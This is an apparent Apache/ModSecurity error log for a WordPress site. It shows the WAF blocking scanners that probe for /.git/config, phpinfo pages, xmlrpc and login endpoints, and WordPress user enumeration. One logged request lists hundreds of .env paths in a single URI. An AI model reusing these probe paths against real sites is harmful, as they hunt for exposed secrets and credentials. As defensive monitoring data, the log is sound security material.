[Fri May 08 02:51:16.940200 2026] [:error] [pid 15715:tid 15742] [client 34.178.83.203:59698] [client 34.178.83.203] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "afzfJCY4dZsLOttMkccQLAAAARY"]
[Fri May 08 03:23:34.047651 2026] [:error] [pid 49513:tid 49594] [client 91.92.243.248:55997] [client 91.92.243.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.92.243.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "afzmtsQFkwGlHB-NJyKoPwAAAIc"]
[Fri May 08 04:32:07.471102 2026] [:error] [pid 51113:tid 51117] [client 101.32.52.164:54630] [client 101.32.52.164] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afz2x0Qfs7sWtqkpQIfnWQAAAMI"]
[Fri May 08 05:09:54.950341 2026] [:error] [pid 51009:tid 51085] [client 43.159.128.247:55316] [client 43.159.128.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "afz_ouB0GbUWhxgzX9WRDQAAAIk"]
[Fri May 08 06:31:53.443354 2026] [:error] [pid 51007:tid 51024] [client 35.244.17.39:50586] [client 35.244.17.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "af0S2VMagSGstWKyzzV92AAAAAI"]
[Fri May 08 10:21:46.257579 2026] [:error] [pid 61356:tid 61406] [client 49.51.233.46:42604] [client 49.51.233.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af1Iuox3vpB8oWhUq2PRpwAAAdI"]
[Fri May 08 11:00:38.976940 2026] [:error] [pid 61356:tid 61391] [client 43.153.96.233:35532] [client 43.153.96.233] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af1R1ox3vpB8oWhUq2PcZgAAAcM"]
[Fri May 08 12:03:24.525700 2026] [autoindex:error] [pid 51007:tid 51028] [client 213.136.67.9:60147] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 08 15:52:57.707779 2026] [:error] [pid 61356:tid 61397] [client 34.172.70.231:55221] [client 34.172.70.231] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "af2WWYx3vpB8oWhUq2M7-QAAAck"]
[Fri May 08 15:52:58.834930 2026] [:error] [pid 61356:tid 61409] [client 34.172.70.231:55221] [client 34.172.70.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.70.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af2WWox3vpB8oWhUq2M7_AAAAdU"]
[Fri May 08 15:53:00.094824 2026] [:error] [pid 61356:tid 61412] [client 34.172.70.231:53162] [client 34.172.70.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.70.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af2WXIx3vpB8oWhUq2M7_QAAAdg"]
[Fri May 08 15:53:01.340029 2026] [:error] [pid 61356:tid 61393] [client 34.172.70.231:52826] [client 34.172.70.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.70.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af2WXYx3vpB8oWhUq2M8AQAAAcU"]
[Fri May 08 15:53:02.520919 2026] [:error] [pid 51008:tid 51054] [client 34.172.70.231:65318] [client 34.172.70.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.172.70.231, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af2WXnB58C2Y1tgLtuJ2pQAAAEU"]
[Fri May 08 15:53:02.521043 2026] [:error] [pid 51008:tid 51054] [client 34.172.70.231:65318] [client 34.172.70.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.172.70.231, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af2WXnB58C2Y1tgLtuJ2pQAAAEU"]
[Fri May 08 16:17:09.625720 2026] [:error] [pid 61356:tid 61401] [client 43.135.182.43:58230] [client 43.135.182.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af2cBYx3vpB8oWhUq2NB1gAAAc0"]
[Fri May 08 18:01:26.865506 2026] [:error] [pid 61317:tid 61344] [client 160.191.181.237:57111] [client 160.191.181.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.181.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af20ds-fFk_CedOCOYuqpAAAAVg"]
[Fri May 08 18:01:37.467699 2026] [:error] [pid 51008:tid 51050] [client 160.191.181.237:57475] [client 160.191.181.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.181.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af20gXB58C2Y1tgLtuKHIAAAAEE"]
[Fri May 08 18:01:48.166641 2026] [:error] [pid 61356:tid 61405] [client 160.191.181.237:57842] [client 160.191.181.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.181.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af20jIx3vpB8oWhUq2NlqwAAAdE"]
[Fri May 08 18:01:58.695855 2026] [:error] [pid 61355:tid 61370] [client 160.191.181.237:58177] [client 160.191.181.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.181.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af20lvkhJTi30CBXmMmCPwAAAYk"]
[Fri May 08 18:02:09.371406 2026] [:error] [pid 61317:tid 61322] [client 160.191.181.237:58533] [client 160.191.181.237] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 160.191.181.237, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af20oc-fFk_CedOCOYuqsQAAAUI"]
[Fri May 08 19:36:36.539668 2026] [:error] [pid 61355:tid 61385] [client 45.61.187.178:62036] [client 45.61.187.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af3KxPkhJTi30CBXmMmhZAAAAZg"]
[Fri May 08 19:38:22.483332 2026] [:error] [pid 61356:tid 61406] [client 45.61.187.178:64174] [client 45.61.187.178] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.61.187.178, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "af3LLox3vpB8oWhUq2OWewAAAdI"]
[Fri May 08 19:58:55.119283 2026] [:error] [pid 34318:tid 34320] [client 37.61.125.240:13611] [client 37.61.125.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 37.61.125.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "af3P_8r3guirgJiKhzDXLgAAAQA"]
[Fri May 08 19:58:57.479930 2026] [:error] [pid 61355:tid 61364] [client 37.61.125.240:12927] [client 37.61.125.240] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "af3QAfkhJTi30CBXmMmnpgAAAYM"]
[Fri May 08 19:59:02.284893 2026] [:error] [pid 61355:tid 61368] [client 37.61.125.240:12927] [client 37.61.125.240] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "af3QBvkhJTi30CBXmMmnrgAAAYc"]
[Fri May 08 20:45:07.807077 2026] [:error] [pid 51007:tid 51027] [client 129.226.93.214:54276] [client 129.226.93.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "af3a01MagSGstWKyzzXvFwAAAAU"]
[Fri May 08 21:17:24.286410 2026] [:error] [pid 51009:tid 51080] [client 129.226.174.80:45668] [client 129.226.174.80] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "af3iZOB0GbUWhxgzX9VLJQAAAIQ"]
[Fri May 08 21:50:04.587538 2026] [:error] [pid 51008:tid 51054] [client 202.181.177.121:58268] [client 202.181.177.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/modular-connector/readme.txt"] [unique_id "af3qDHB58C2Y1tgLtuKvvwAAAEU"]
[Fri May 08 21:50:05.109299 2026] [:error] [pid 51113:tid 51126] [client 202.181.177.121:58296] [client 202.181.177.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/modular-connector/readme.txt"] [unique_id "af3qDUQfs7sWtqkpQIeCOAAAAMs"]
[Fri May 08 21:50:05.632082 2026] [:error] [pid 61317:tid 61330] [client 202.181.177.121:58302] [client 202.181.177.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/breeze/readme.txt"] [unique_id "af3qDc-fFk_CedOCOYvYRAAAAUo"]
[Fri May 08 21:50:06.156897 2026] [:error] [pid 51113:tid 51128] [client 202.181.177.121:58308] [client 202.181.177.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/breeze/readme.txt"] [unique_id "af3qDkQfs7sWtqkpQIeCOgAAAM0"]
[Sat May 09 00:08:56.488285 2026] [:error] [pid 61355:tid 61372] [client 34.106.227.62:36128] [client 34.106.227.62] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "af4KmPkhJTi30CBXmMn9wwAAAYs"]
[Sat May 09 01:07:53.766425 2026] [:error] [pid 61356:tid 61412] [client 52.212.42.253:56160] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "af4YaYx3vpB8oWhUq2MZXQAAAdg"]
[Sat May 09 01:07:56.371685 2026] [:error] [pid 61356:tid 61409] [client 52.212.42.253:56204] [client 52.212.42.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.env/.env.local/.env.production/.env.staging/.env.development/.env.test/.env.remote/.env.bak/.env.backup/.env.save/.env.old/.env.sample/.env.example/.env.dev/.env.prod/.env.stage/.env.ci/.env.docker/.env.live/.env.preprod/.env.uat/.env.dist/.env.swp/.env~/.env1/.env2/.env_copy/.env.txt/.env.json/.env.yaml/.env.yml/app/.env/apps/.env/api/.env/web/.env/site/.env/public/.env/admin/.env/backend/.env/server/.env/frontend/.env/src/.env/core/.env/core/app/.env/config/.env/private/.env/application/.env/bootstrap/.env/database/.env/storage/.env/var/www/.env/var/www/html/.env/current/.env/release/.env/releases/.env/shared/.env/deploy/.env/build/.env/dist/.env/public_html/.env/htdocs/.env/www/.env/html/.env/live/.env/prod/.env/dev/.env/staging/.env/opt/.env/laravel/.env/symfony/.env/wordpress/.env/wp/.env/cms/.env/drupal/.env/joomla/.env/magento/.env/shopify/.env/prestashop/.env/codeigniter/.env/cakephp/.env/zend/.env/yii/.env/laravel5/.env/v1/.env/v2/.env/v3/.env/api/v1/.env/api/v2/.env/rest/.env/graphql/.env/gateway/.env/microservice/.env/service/.env/api/v3/.env/api/dev/.env/api/staging/.env/vendor/.env/lib/.env/resources/.env/assets/.env/uploads/.env/internal/.env/tools/.env/scripts/.env/bin/.env/sbin/.env/local/.env/portal/.env/dashboard/.env/panel/.env/crm/.env/erp/.env/shop/.env/store/.env/saas/.env/client/.env/project/.env/admin-panel/.env/control-panel/.env/user-panel/.env/node/.env/express/.env/next/.env/nuxt/.env/nest/.env/react/.env/vue/.env/angular/.env/svelte/.env/vite/.env/backup/.env/backups/.env/old/.env/tmp/.env/temp/.env/lab/.env/cronlab/.env/cron/.env/en/.env/administrator/.env/psnlink/.env/exapi/.env/sitemaps/.env/.env.backup1/.env.backup2/logs/.env/cache/.env/mailer/.env/mail/.env/email/.env/smtp/.env/mailing/.env/notifications/.env/notify/.env/sender/.env/campaign/.env/newsletter/.env/ses/.env/sendgrid/.env/sparkpost/.env/postmark/.env/mailgun/.env/mandrill/.env/mailjet/.env/brevo/.env/transactional/.env/bulk/.env/aws/.env/azure/.env/gcp/.env/cloud/.env/infrastructure/.env/docker/.env/k8s/.env/kubernetes/.env/terraform/.env/ansible/.env/.git/.env/ci/.env/cd/.env/jenkins/.env/gitlab/.env/github/.env/actions/.env/circleci/.env/travis/.env/buildkite/.env/mysql/.env/postgres/.env/mongodb/.env/redis/.env/elasticsearch/.env/rabbitmq/.env/kafka/.env/queue/.env/worker/.env/job/.env/test/.env/qa/.env/preview/.env/beta/.env/uat/.env/stage/.env/development/.env/production/.env/config/app/.env"] [unique_id "af4YbIx3vpB8oWhUq2MZagAAAdU"]
[Sat May 09 01:08:07.049487 2026] [:error] [pid 61355:tid 61367] [client 52.212.42.253:56258] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/p.php"] [unique_id "af4Yd_khJTi30CBXmMkbHwAAAYY"]
[Sat May 09 01:08:08.355904 2026] [:error] [pid 61356:tid 61397] [client 52.212.42.253:56728] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/debug.php"] [unique_id "af4YeIx3vpB8oWhUq2MZygAAAck"]
[Sat May 09 01:08:09.419677 2026] [:error] [pid 61355:tid 61373] [client 52.212.42.253:56744] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/admin/phpinfo.php"] [unique_id "af4YefkhJTi30CBXmMkbJAAAAYw"]
[Sat May 09 01:08:10.469574 2026] [:error] [pid 51009:tid 51087] [client 52.212.42.253:56768] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/test/phpinfo.php"] [unique_id "af4YeuB0GbUWhxgzX9WFZwAAAIs"]
[Sat May 09 01:08:11.513294 2026] [:error] [pid 34318:tid 34329] [client 52.212.42.253:56786] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/dev/phpinfo.php"] [unique_id "af4Ye8r3guirgJiKhzD-mAAAAQk"]
[Sat May 09 01:08:12.556656 2026] [:error] [pid 61355:tid 61370] [client 52.212.42.253:56794] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/old/phpinfo.php"] [unique_id "af4YfPkhJTi30CBXmMkbKQAAAYk"]
[Sat May 09 01:08:13.608084 2026] [:error] [pid 51009:tid 51090] [client 52.212.42.253:51210] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/tmp/phpinfo.php"] [unique_id "af4YfeB0GbUWhxgzX9WFbwAAAI4"]
[Sat May 09 01:08:14.659879 2026] [:error] [pid 61355:tid 61375] [client 52.212.42.253:51218] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/public/phpinfo.php"] [unique_id "af4YfvkhJTi30CBXmMkbMAAAAY4"]
[Sat May 09 01:08:15.711100 2026] [:error] [pid 51009:tid 51100] [client 52.212.42.253:51230] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/info"] [unique_id "af4Yf-B0GbUWhxgzX9WFcgAAAJg"]
[Sat May 09 01:08:16.762916 2026] [:error] [pid 51113:tid 51135] [client 52.212.42.253:51262] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/php-info.php"] [unique_id "af4YgEQfs7sWtqkpQIeXSwAAANQ"]
[Sat May 09 01:08:17.820115 2026] [:error] [pid 61317:tid 61333] [client 52.212.42.253:51274] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/phpversion.php"] [unique_id "af4Ygc-fFk_CedOCOYsCPQAAAU0"]
[Sat May 09 01:08:18.863102 2026] [:error] [pid 51009:tid 51077] [client 52.212.42.253:51294] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/_phpinfo.php"] [unique_id "af4YguB0GbUWhxgzX9WFewAAAIE"]
[Sat May 09 01:08:19.903861 2026] [:error] [pid 51113:tid 51121] [client 52.212.42.253:51318] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/old_phpinfo.php"] [unique_id "af4Yg0Qfs7sWtqkpQIeXVQAAAMY"]
[Sat May 09 01:08:20.958950 2026] [:error] [pid 61356:tid 61402] [client 52.212.42.253:51332] [client 52.212.42.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/server-info.php"] [unique_id "af4YhIx3vpB8oWhUq2MZ6QAAAc4"]
